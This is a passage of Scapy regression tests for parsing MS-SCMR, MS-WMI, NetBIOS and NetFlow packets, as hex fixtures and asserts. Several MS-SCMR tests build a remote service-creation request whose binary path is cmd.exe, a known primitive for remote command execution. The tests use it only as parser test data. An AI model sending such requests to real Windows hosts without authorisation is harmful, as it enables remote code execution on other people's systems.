Dissect ROpenServiceW_Request DATA = bytes.fromhex('00000000053914c3f0543646af7317818dbee820160000000000000016000000530065006300750072006900740079004800650061006c00740068005300650072007600690063006500000005000000') pkt = ROpenServiceW_Request(DATA, ndr64=False) assert pkt.valueof("lpServiceName") == b"SecurityHealthService" assert pkt.hSCManager.uuid == b'\x059\x14\xc3\xf0T6F\xafs\x17\x81\x8d\xbe\xe8 ' = [MS-SCMR] - Re-Build ROpenServiceW_Request pkt = ROpenServiceW_Request( hSCManager=NDRContextHandle(uuid=b'\x059\x14\xc3\xf0T6F\xafs\x17\x81\x8d\xbe\xe8 '), lpServiceName=b"SecurityHealthService", dwDesiredAccess=5, ndr64=False, ) assert bytes(pkt) == DATA = [MS-SCMR] - Dissect RQueryServiceConfigW_Request DATA = bytes.fromhex('00000000d76d93463d7e9047856bbc0839ef836910100000') pkt = RQueryServiceConfigW_Request(DATA, ndr64=False) assert pkt.cbBufSize == 4112 = [MS-SCMR] - Dissect RQueryServiceConfig2W_Request DATA = bytes.fromhex('00000000d76d93463d7e9047856bbc0839ef83690100000010100000') pkt = RQueryServiceConfig2W_Request(DATA, ndr64=False) assert pkt.dwInfoLevel == 1 assert pkt.cbBufSize == 4112 = [MS-SCMR] - Dissect RQueryServiceConfig2W_Response import zlib DATA = zlib.decompress(bytes.fromhex('789ced8f4b0ec2300c05078903e408d9711d368875092d204a8b4805d7e7a5286c10127bde5876fc89ed240458026b6e8cdc39b1a72513e968488a7be924add9513723175507e941954136b261ab2951b9ab24cf5e9294be124deaacd5a87cf11a761f1b9ad93e14f5921a278eca24ceef7d657f9db7faba2fabdaceffe8a4e9871718638c31c618638c31ff4158bcce27d9e630e0')) pkt = RQueryServiceConfig2W_Response(DATA, ndr64=False, request_packet=pkt) assert pkt.lpBuffer.max_count == 4112 assert pkt.pcbBytesNeeded == 272 assert pkt.status == 0 assert pkt.lpBuffer.value[4:].decode("utf-16le").rstrip("\x00") == "Provides facilities for managing UWP apps access to app capabilities as well as checking an app's access to specific app capabilities" = [MS-SCMR] - Dissect RQueryServiceConfigW_Response DATA = bytes.fromhex('200000000200000001000000000002000400020000000000080002000c0002001000020030000000000000003000000043003a005c00570049004e0044004f00570053005c00730079007300740065006d00330032005c0073007600630068006f00730074002e0065007800650020002d006b0020006f007300700072006900760061006300790020002d0070000000010000000000000001000000000000002e000000000000002e000000720070006300730073002f00730074006100740065007200650070006f007300690074006f00720079002f0043006f00720065004d006500730073006100670069006e0067005200650067006900730074007200610072002f0000000c000000000000000c0000004c006f00630061006c00530079007300740065006d0000002200000000000000220000004300610070006100620069006c00690074007900200041006300630065007300730020004d0061006e0061006700650072002000530065007200760069006300650000007e01000000000000') pkt = RQueryServiceConfigW_Response(DATA, ndr64=False) assert pkt.status == 0 assert pkt.pcbBytesNeeded == 382 assert pkt.lpServiceConfig.dwServiceType == 32 assert pkt.lpServiceConfig.dwErrorControl == 1 assert pkt.lpServiceConfig.valueof("lpBinaryPathName") == b'C:\\WINDOWS\\system32\\svchost.exe -k osprivacy -p' assert pkt.lpServiceConfig.valueof("lpDependencies") == b'rpcss/staterepository/CoreMessagingRegistrar/' assert pkt.lpServiceConfig.valueof("lpDisplayName") == b'Capability Access Manager Service' = [MS-SCMR] - Dissect RCreateServiceW_Request DATA = bytes.fromhex('00000000dea1de2e22144844a5f5ea3948e8add905000000000000000500000074006500730074000000000000000000ff010f001000000003000000010000001c000000000000001c00000043003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c0063006d0064002e00650078006500000000000000000000000000000000000000000000000000000000000000') pkt = RCreateServiceW_Request(DATA, ndr64=False) assert pkt.valueof("lpServiceName") == b"test" assert pkt.dwDesiredAccess == 983551 assert pkt.dwStartType == 3 assert pkt.dwServiceType == 16 assert pkt.dwErrorControl == 1 assert pkt.valueof("lpBinaryPathName") == b"C:\\Windows\\System32\\cmd.exe" assert pkt.lpDisplayName is None assert pkt.dwPwSize == 0 = [MS-SCMR] - Re-Build RCreateServiceW_Request pkt = RCreateServiceW_Request( hSCManager=NDRContextHandle(uuid=b'\xde\xa1\xde."\x14HD\xa5\xf5\xea9H\xe8\xad\xd9'), lpServiceName=b"test", dwDesiredAccess=983551, dwServiceType=16, dwStartType=3, dwErrorControl=1, lpBinaryPathName=b"C:\\Windows\\System32\\cmd.exe", ndr64=False, ) assert bytes(pkt) == DATA = [MS-SCMR] - Dissect RCreateServiceW_Request - with lpDisplayName DATA = bytes.fromhex('00000000dcf903ed9e7b604ca9971ce8d0938b2405000000000000000500000074006500730074000000000000000200050000000000000005000000740065007300740000000000ff010f001000000003000000010000001c000000000000001c00000043003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c0063006d0064002e00650078006500000000000000000000000000000000000000000000000000000000000000') pkt = RCreateServiceW_Request(DATA, ndr64=False) assert pkt.valueof("lpServiceName") == b"test" assert pkt.dwDesiredAccess == 983551 assert pkt.dwStartType == 3 assert pkt.dwServiceType == 16 assert pkt.dwErrorControl == 1 assert pkt.valueof("lpBinaryPathName") == b"C:\\Windows\\System32\\cmd.exe" assert pkt.lpDisplayName.referent_id == 0x20000 assert pkt.valueof("lpDisplayName") == b"test" assert pkt.dwPwSize == 0 = [MS-SCMR] - Build RCreateServiceW_Request - with lpDisplayName pkt = RCreateServiceW_Request( hSCManager=NDRContextHandle(uuid=b'\xdc\xf9\x03\xed\x9e{`L\xa9\x97\x1c\xe8\xd0\x93\x8b$'), lpServiceName=b"test", lpDisplayName=b"test", dwDesiredAccess=983551, dwServiceType=16, dwStartType=3, dwErrorControl=1, lpBinaryPathName=b"C:\\Windows\\System32\\cmd.exe", ndr64=False, ) assert bytes(pkt) == DATA ================================================ FILE: test/scapy/layers/msrpce/mswmi.uts ================================================ % MS-WMI Tests ~ needs_py38plus + [MS-WMI] build and dissection tests * To work scapy-rpc extension must be installed = [MS-WMI] - Import [MS-WMI] from scapy.config import conf conf.exts.load("scapy-rpc") from scapy.layers.msrpce.raw.ms_wmi import * = [MS-WMI] - Build ExecQuery_Request lang = "WQL\0" query = "SELECT Name FROM Win32_OperatingSystem\0" pkt = ExecQuery_Request( strQueryLanguage=NDRPointer( referent_id=0x72657355, value=FLAGGED_WORD_BLOB( max_count=len(lang), cBytes=len(lang) * 2, clSize=len(lang), asData=lang.encode("utf-16le"), ), ), strQuery=NDRPointer( referent_id=0x72657356, value=FLAGGED_WORD_BLOB( max_count=len(query), cBytes=len(query) * 2, clSize=len(query), asData=query.encode("utf-16le"), ), ), ndr64=False ) assert bytes(pkt) == b"User\x04\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00W\x00Q\x00L\x00\x00\x00Vser'\x00\x00\x00N\x00\x00\x00'\x00\x00\x00S\x00E\x00L\x00E\x00C\x00T\x00 \x00N\x00a\x00m\x00e\x00 \x00F\x00R\x00O\x00M\x00 \x00W\x00i\x00n\x003\x002\x00_\x00O\x00p\x00e\x00r\x00a\x00t\x00i\x00n\x00g\x00S\x00y\x00s\x00t\x00e\x00m\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" = [MS-WMI] - Dissect ExecQuery_Response pkt=ExecQuery_Response( b'\x00\x00\x02\x00\xb6\x00\x00\x00\xb6\x00\x00\x00MEOW\x01\x00\x00\x00\xe1Gy\x021\xd7\xce\x11\xa3W\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\xe5M-e\x07^\xb40\xf9\xed\xa57\xb2\x97\x0e7\x03\xd8\x02\x00,\x01\x00\x00\x15\xfe\x86\xdf\x03\xd6o\x0f9\x00#\x00\x07\x00W\x00I\x00N\x00-\x008\x00K\x001\x005\x00V\x00K\x00V\x002\x004\x00S\x00G\x00\x00\x00\x07\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x000\x000\x00.\x001\x000\x000\x00\x00\x00\x00\x00\t\x00\xff\xff\x00\x00\x1e\x00\xff\xff\x00\x00\x10\x00\xff\xff\x00\x00\n\x00\xff\xff\x00\x00\x16\x00\xff\xff\x00\x00\x1f\x00\xff\xff\x00\x00\x0e\x00\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ndr64=False ) status = pkt.valueof("status") assert status == 0x0 ================================================ FILE: test/scapy/layers/netbios.uts ================================================ % NETBIOS regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Netbios tests = NBNSQueryRequest - build & dissect z = NBNSHeader()/NBNSQueryRequest(SUFFIX="file server service", QUESTION_NAME='TEST1', QUESTION_TYPE='NB') assert raw(z) == b'\x00\x00\x01\x10\x00\x01\x00\x00\x00\x00\x00\x00 FEEFFDFEDBCACACACACACACACACACACA\x00\x00 \x00\x01' pkt = IP(dst='192.168.0.255')/UDP(sport=137, dport='netbios_ns')/z pkt = IP(raw(pkt)) assert pkt.QUESTION_NAME == b'TEST1' assert pkt[NBNSQueryRequest].mysummary() == r"NBNSQueryRequest who has '\\TEST1'" assert NBNSQueryRequest in NBNSHeader(raw(z)) z = NBNSQueryRequest(b' PPCACACACACACACACACACACACACACAAA\x00\x00 \x00\x01') assert z.mysummary() == r"NBNSQueryRequest who has '\\\xff'" = NBNSQueryResponse - build & dissect z = NBNSHeader()/NBNSQueryResponse(RR_NAME="FRED", ADDR_ENTRY=[NBNS_ADD_ENTRY(NB_ADDRESS="192.168.0.13")]) assert raw(z) == b'\x00\x00\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00 EGFCEFEECACACACACACACACACACACAAA\x00\x00 \x00\x01\x00\x04\x93\xe0\x00\x06\x00\x00\xc0\xa8\x00\r' pkt = NBNSHeader(raw(z)) assert NBNSQueryResponse in pkt assert pkt.ADDR_ENTRY[0].NB_ADDRESS == "192.168.0.13" assert pkt[NBNSQueryResponse].mysummary() == r"NBNSQueryResponse '\\FRED' is at 192.168.0.13" z = NBNSQueryResponse(b' PPFCEFEECACACACACACACACACACACAAA\x00\x00 \x00\x01\x00\x04\x93\xe0\x00\x06\x00\x00\xc0\xa8\x00\r') assert z.mysummary() == r"NBNSQueryResponse '\\\xffRED' is at 192.168.0.13" z = NBNSHeader(b'/S\x85\x80\x00\x00\x00\x01\x00\x00\x00\x00 FAEPFEEBFEEPCACACACACACACACACAAA\x00\x00 \x00\x01\x00\x03\xf4\x80\x00\x06\x00\x00\xc0\xa8\x01A') assert z.RR_NAME == b'POTATO' assert z.ADDR_ENTRY[0].G == 0 assert z.ADDR_ENTRY[0].NB_ADDRESS == "192.168.1.65" = NBNSQueryResponse answers NBNSQueryRequest req = IP(ihl=5, len=78, proto=17, chksum=8562, src='172.19.0.7', dst='172.19.0.255')/UDP(sport=137, dport=137, len=58, chksum=62101)/NBNSHeader(NM_FLAGS=17, QDCOUNT=1)/NBNSQueryRequest(QUESTION_NAME=b'Loremipsumdolor', SUFFIX=17217) resp = IP(b'E\x00\x00Zn\xab@\x00@\x11s\xb5\xac\x13\x00\x05\xac\x13\x00\x07\x00\x89\x00\x89\x00FX\x8a\x00\x00\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00 EMGPHCGFGNGJHAHDHFGNGEGPGMGPHCCA\x00\x00 \x00\x01\x00\x00\x00\xa5\x00\x06\x00\x00\xac\x13\x00\x05') try: conf.checkIPaddr = True assert not resp.answers(req) conf.checkIPaddr = False assert resp.answers(req) finally: conf.checkIPaddr = True = NBNSQueryResponse answers long NBNSQueryRequest req = IP(ihl=5, len=78, proto=17, chksum=8562, src='172.19.0.7', dst='172.19.0.255')/UDP(sport=137, dport=137, len=58, chksum=62101)/NBNSHeader(NM_FLAGS=17, QDCOUNT=1)/NBNSQueryRequest(QUESTION_NAME=b'Loremipsumdolorsitamet', SUFFIX=17217) resp = IP(b'E\x00\x00Zn\xab@\x00@\x11s\xb5\xac\x13\x00\x05\xac\x13\x00\x07\x00\x89\x00\x89\x00FX\x8a\x00\x00\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00 EMGPHCGFGNGJHAHDHFGNGEGPGMGPHCCA\x00\x00 \x00\x01\x00\x00\x00\xa5\x00\x06\x00\x00\xac\x13\x00\x05') try: conf.checkIPaddr = True assert not resp.answers(req) conf.checkIPaddr = False assert resp.answers(req) finally: conf.checkIPaddr = True = NBNSNodeStatusResponse - build & dissect z = NBNSHeader()/NBNSNodeStatusResponse(NODE_NAME=[NBNSNodeStatusResponseService(NETBIOS_NAME="WINDOWS")], MAC_ADDRESS="aa:aa:aa:aa:aa:aa") assert raw(z) == b'\x00\x00\x84\x00\x00\x00\x00\x01\x00\x00\x00\x00 HHGJGOGEGPHHHDCACACACACACACACAAA\x00\x00!\x00\x01\x00\x00\x00\x00\x00S\x01WINDOWS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = NBNSHeader(raw(z)) assert pkt.NODE_NAME[0].NETBIOS_NAME == b'WINDOWS\x00\x00\x00\x00\x00\x00\x00\x00' assert NBNSNodeStatusResponse in pkt = NBNSNodeStatusRequest - build and answers pkt = UDP()/NBNSHeader()/NBNSNodeStatusRequest() assert raw(pkt.payload) == b'\x00\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01' assert pkt[NBNSNodeStatusRequest].mysummary() == "NBNSNodeStatusRequest who has '\\\\*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'" resp = UDP(b'\x00\x89\x00\x89\x00\xc9v>\x00\x00\x84\x00\x00\x00\x00\x01\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01\x00\x00\x00\x00\x00\x89\x05DOMAIN \x00\x84\x00SRV1 \x00\x04\x00DOMAIN \x1c\x84\x00SRV1 \x04\x00DOMAIN \x1b\x04\x00RT\x00iX\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert [x.NETBIOS_NAME.strip() for x in resp.NODE_NAME] == [b'DOMAIN', b'SRV1', b'DOMAIN', b'SRV1', b'DOMAIN'] assert resp.answers(pkt) z = NBNSNodeStatusRequest(b' PPCACACACACACACACACACACACACACAAA\x00\x00!\x00\x01') assert z.mysummary() == r"NBNSNodeStatusRequest who has '\\\xff'" = NBNSWackResponse - build & dissect z = NBNSHeader()/NBNSWackResponse(RR_NAME="SARAH") assert raw(z) == b'\x00\x00\xbc\x00\x00\x00\x00\x01\x00\x00\x00\x00 FDEBFCEBEICACACACACACACACACACAAA\x00\x00 \x00\x01\x00\x00\x00\x02\x00\x02)\x10' pkt = NBNSHeader(raw(z)) assert pkt[NBNSWackResponse].RR_NAME == b'SARAH' = NBTSession z = raw(TCP()/NBTSession()) assert z == b'\x00\x8b\x00\x8b\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x00\x00\x00\x00\x00\x00\x00\x00' assert NBTSession in TCP(z) = OSS-Fuzz Findings # Note: the packet is corrupted with no_debug_dissector(): raw_packet = b'E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x05\x00\x00\x00' packet = NBNSQueryResponse(raw_packet) assert packet.summary() == "NBNSQueryResponse" ================================================ FILE: test/scapy/layers/netflow.uts ================================================ % NetFlow regression tests for Scapy ############ ############ + Netflow v5 ~ netflow = NetflowHeaderV5 - basic building raw(NetflowHeader()/NetflowHeaderV5()) == b'\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(NetflowHeaderV5(engineID=42)) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x00\x00' raw(NetflowRecordV5(dst="192.168.0.1")) == b'\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst="192.168.0.1")) == b'\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(NetflowHeader()/NetflowHeaderV5()/NetflowRecordV5(dst="192.168.0.1")/NetflowRecordV5(dst="172.16.0.1")) == b'\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xac\x10\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' = NetflowHeaderV5 - UDP bindings s = raw(IP(src="127.0.0.1")/UDP()/NetflowHeader()/NetflowHeaderV5()) assert s == b'E\x00\x004\x00\x01\x00\x00@\x11|\xb6\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x07\x08\x07\x00 \xf1\x98\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = IP(s) assert NetflowHeaderV5 in pkt = NetflowHeaderV5 - basic dissection nf5 = NetflowHeader(b'\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00') nf5.version == 5 and nf5[NetflowHeaderV5].count == 2 and isinstance(nf5[NetflowRecordV5].payload, NetflowRecordV5) ############ ############ + Netflow v9 ~ netflow = NetflowV9 - advanced dissection import os filename = scapy_path("/test/pcaps/netflowv9.pcap") a = rdpcap(filename) a = netflowv9_defragment(a) nfv9_fl = a[0] assert NetflowFlowsetV9 in nfv9_fl assert len(nfv9_fl.templates[0].template_fields) == 21 assert nfv9_fl.templates[0].template_fields[1].fieldType == 12 nfv9_ds = a[3] assert NetflowDataflowsetV9 in nfv9_ds assert len(nfv9_ds[NetflowDataflowsetV9].records) == 24 assert nfv9_ds[NetflowDataflowsetV9].records[21].IP_PROTOCOL_VERSION == 4 assert nfv9_ds.records[21].IPV4_SRC_ADDR == '20.0.0.248' assert nfv9_ds.records[21].IPV4_DST_ADDR == '30.0.0.248' nfv9_options_fl = a[1] assert NetflowOptionsFlowsetV9 in nfv9_options_fl assert isinstance(nfv9_options_fl[NetflowOptionsFlowsetV9].scopes[0], NetflowOptionsFlowsetScopeV9) assert isinstance(nfv9_options_fl[NetflowOptionsFlowsetV9].options[0], NetflowOptionsFlowsetOptionV9) assert nfv9_options_fl[NetflowOptionsFlowsetV9].options[0].optionFieldType == 36 nfv9_options_ds = a[4] assert NetflowDataflowsetV9 in nfv9_options_ds assert isinstance(nfv9_options_ds.records[0], NetflowOptionsRecordScopeV9) assert nfv9_options_ds.records[0].IN_BYTES == 0x01000000 assert nfv9_options_ds.records[1].SAMPLING_INTERVAL == 12 assert nfv9_options_ds.records[1].SAMPLING_ALGORITHM == 0x2 = NetflowV9 - Multiple FlowSets in one packet nfv9_multiple_flowsets = NetflowHeader(b'\x00\t\x00\x03\x00\x00K [F\x17\x97\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00H\x04\x00\x00\x10\x00\x08\x00\x04\x00\x0c\x00\x04\x00\x15\x00\x04\x00\x16\x00\x04\x00\x01\x00\x08\x00\x02\x00\x08\x00\n\x00\x04\x00\x0e\x00\x04\x00\x07\x00\x02\x00\x0b\x00\x02\x00\x04\x00\x01\x00\x06\x00\x01\x00<\x00\x01\x00\x05\x00\x01\x00 \x00\x02\x00:\x00\x02\x00\x00\x00L\x08\x00\x00\x11\x00\x1b\x00\x10\x00\x1c\x00\x10\x00\x1f\x00\x04\x00\x15\x00\x04\x00\x16\x00\x04\x00\x01\x00\x08\x00\x02\x00\x08\x00\n\x00\x04\x00\x0e\x00\x04\x00\x07\x00\x02\x00\x0b\x00\x02\x00\x04\x00\x01\x00\x06\x00\x01\x00<\x00\x01\x00\x05\x00\x01\x00 \x00\x02\x00:\x00\x02\x04\x00\x008\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x10\xac\x00\x00\x10\x83\x00\x00\x00\x00\x00\x00\x0b\xb8\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x01\x005\x005\x11\x00\x04\x00\x00\x00\x00e') assert nfv9_multiple_flowsets.haslayer(NetflowFlowsetV9) assert nfv9_multiple_flowsets.haslayer(NetflowDataflowsetV9) nfv9_defrag = netflowv9_defragment(list(nfv9_multiple_flowsets)) flowset1 = nfv9_defrag[0].getlayer(NetflowFlowsetV9, 1) assert flowset1.templates[0].template_fields[0].fieldType == 8 assert flowset1.templates[0].template_fields[0].fieldLength == 4 assert flowset1.templates[0].template_fields[5].fieldType == 2 assert flowset1.templates[0].template_fields[5].fieldLength == 8 flowset2 = nfv9_defrag[0].getlayer(NetflowFlowsetV9, 2) assert flowset2.templates[0].template_fields[0].fieldType == 27 assert flowset2.templates[0].template_fields[0].fieldLength == 16 assert flowset2.templates[0].template_fields[5].fieldType == 1 assert flowset2.templates[0].template_fields[5].fieldLength == 8 assert nfv9_defrag[0].getlayer(NetflowFlowsetV9, 2) assert nfv9_defrag[0].records[0].IP_PROTOCOL_VERSION == 4 assert nfv9_defrag[0].records[0].PROTOCOL == 17 assert nfv9_defrag[0].records[0].IPV4_SRC_ADDR == "127.0.0.1" = NetflowV9 - build and dissection ~ netflow header = Ether()/IP()/UDP() netflow_header = NetflowHeader()/NetflowHeaderV9(unixSecs=0) flowset = NetflowFlowsetV9( templates=[NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType=1, fieldLength=1), # IN_BYTES NetflowTemplateFieldV9(fieldType=2, fieldLength=4), # IN_PKTS NetflowTemplateFieldV9(fieldType=4), # PROTOCOL NetflowTemplateFieldV9(fieldType=8), # IPV4_SRC_ADDR NetflowTemplateFieldV9(fieldType=12), # IPV4_DST_ADDR ], templateID=256, fieldCount=5) ], flowSetID=0 ) recordClass = GetNetflowRecordV9(flowset) dataFS = NetflowDataflowsetV9( templateID=256, records=[ # Some random data. recordClass( IN_BYTES=0x12, IN_PKTS=0, PROTOCOL=6, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), ], ) pkt = netflow_header / flowset / dataFS assert raw(pkt) == b'\x00\t\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x01\x00\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x08\x00\x04\x00\x0c\x00\x04\x01\x00\x00\x14\x12\x00\x00\x00\x00\x06\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x00\x00' pkt = header / netflow_header / flowset / dataFS pkt = netflowv9_defragment(Ether(raw(pkt)))[0] assert NetflowDataflowsetV9 in pkt assert len(pkt[NetflowDataflowsetV9].records) == 1 assert pkt[NetflowDataflowsetV9].records[0].IPV4_DST_ADDR == "192.168.0.11" = NetflowV9 - advanced build ~ netflow atm_time = 1547927349.328283 header = Ether(src="00:00:00:00:00:00", dst="aa:aa:aa:aa:aa:aa")/IP(dst="127.0.0.1", src="127.0.0.1")/UDP()/NetflowHeader()/NetflowHeaderV9(unixSecs=atm_time) flowset = NetflowFlowsetV9(templates=[NetflowTemplateV9(template_fields=[NetflowTemplateFieldV9(fieldType=8, fieldLength=4),NetflowTemplateFieldV9(fieldType=12, fieldLength=4),NetflowTemplateFieldV9(fieldType=5, fieldLength=1),NetflowTemplateFieldV9(fieldType=4, fieldLength=1),NetflowTemplateFieldV9(fieldType=7, fieldLength=2),NetflowTemplateFieldV9(fieldType=11, fieldLength=2),NetflowTemplateFieldV9(fieldType=32, fieldLength=2),NetflowTemplateFieldV9(fieldType=10, fieldLength=4),NetflowTemplateFieldV9(fieldType=16, fieldLength=4),NetflowTemplateFieldV9(fieldType=17, fieldLength=4),NetflowTemplateFieldV9(fieldType=18, fieldLength=4),NetflowTemplateFieldV9(fieldType=14, fieldLength=4),NetflowTemplateFieldV9(fieldType=1, fieldLength=4),NetflowTemplateFieldV9(fieldType=2, fieldLength=4),NetflowTemplateFieldV9(fieldType=22, fieldLength=4),NetflowTemplateFieldV9(fieldType=21, fieldLength=4),NetflowTemplateFieldV9(fieldType=15, fieldLength=4),NetflowTemplateFieldV9(fieldType=9, fieldLength=1),NetflowTemplateFieldV9(fieldType=13, fieldLength=1),NetflowTemplateFieldV9(fieldType=6, fieldLength=1),NetflowTemplateFieldV9(fieldType=60, fieldLength=1)], templateID=424, fieldCount=21)], flowSetID=0, length=92) dataflowset = NetflowDataflowsetV9(records=[NetflowRecordV9(fieldValue=b'\x14\x00\x00\xfd\x1e\x00\x00\xfd\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x03 \x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x02\xfb\x00\x15a|\x00\x00\x07\x0f$\x95x\xed$\x99\x91<\ndg\x01 \x00\x04')], templateID=424) pkt = netflowv9_defragment(list(header/flowset/dataflowset))[0] assert pkt.records[0].IPV4_NEXT_HOP == "10.100.103.1" assert pkt.records[0].OUTPUT_SNMP == 0x000002fb assert raw(pkt) == b'\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\xcc\x00\x01\x00\x00@\x11|\x1e\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x07\x08\x07\x00\xb8\x86\xe7\x00\t\x00\x02\x00\x00\x00\x00\\C\x7f5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\\x01\xa8\x00\x15\x00\x08\x00\x04\x00\x0c\x00\x04\x00\x05\x00\x01\x00\x04\x00\x01\x00\x07\x00\x02\x00\x0b\x00\x02\x00 \x00\x02\x00\n\x00\x04\x00\x10\x00\x04\x00\x11\x00\x04\x00\x12\x00\x04\x00\x0e\x00\x04\x00\x01\x00\x04\x00\x02\x00\x04\x00\x16\x00\x04\x00\x15\x00\x04\x00\x0f\x00\x04\x00\t\x00\x01\x00\r\x00\x01\x00\x06\x00\x01\x00<\x00\x01\x01\xa8\x00@\x14\x00\x00\xfd\x1e\x00\x00\xfd\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x03 \x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x02\xfb\x00\x15a|\x00\x00\x07\x0f$\x95x\xed$\x99\x91<\ndg\x01 \x00\x04' = NetflowV9 - padding #GH2257 dat = hex_bytes("fb200807007840a10009000277efe9c450c843f900362202000000000001001801000004000800010000002a00040029000400000101004477ef819077ef81900000003c00000001009300930ac900640ac9033b060009ee0b3500000ac9033b131302000000000000260bdc69aa6480996649a000000000") pkt = UDP(dat) assert pkt[NetflowOptionsFlowsetV9].pad == b"\x00\x00" pkt[NetflowOptionsFlowsetV9].pad = None assert raw(pkt) == dat = NetflowV9 - Options Template build ~ netflow option_templateFlowSet_256 = NetflowOptionsFlowsetV9( templateID = 256, option_scope_length = 4*1, option_field_length = 4*3, scopes = [ NetflowOptionsFlowsetScopeV9(scopeFieldType=1, scopeFieldlength= 4), ], options = [ NetflowOptionsFlowsetOptionV9(optionFieldType= 10, optionFieldlength= 4), NetflowOptionsFlowsetOptionV9(optionFieldType= 82, optionFieldlength= 32), NetflowOptionsFlowsetOptionV9(optionFieldType= 83, optionFieldlength= 240) ]) assert raw(option_templateFlowSet_256) == b'\x00\x01\x00\x1c\x01\x00\x00\x04\x00\x0c\x00\x01\x00\x04\x00\n\x00\x04\x00R\x00 \x00S\x00\xf0\x00\x00' = NetflowV9 - Advanced build, multiple flowsets and multiple records by flowset ~ netflow template_flowset = 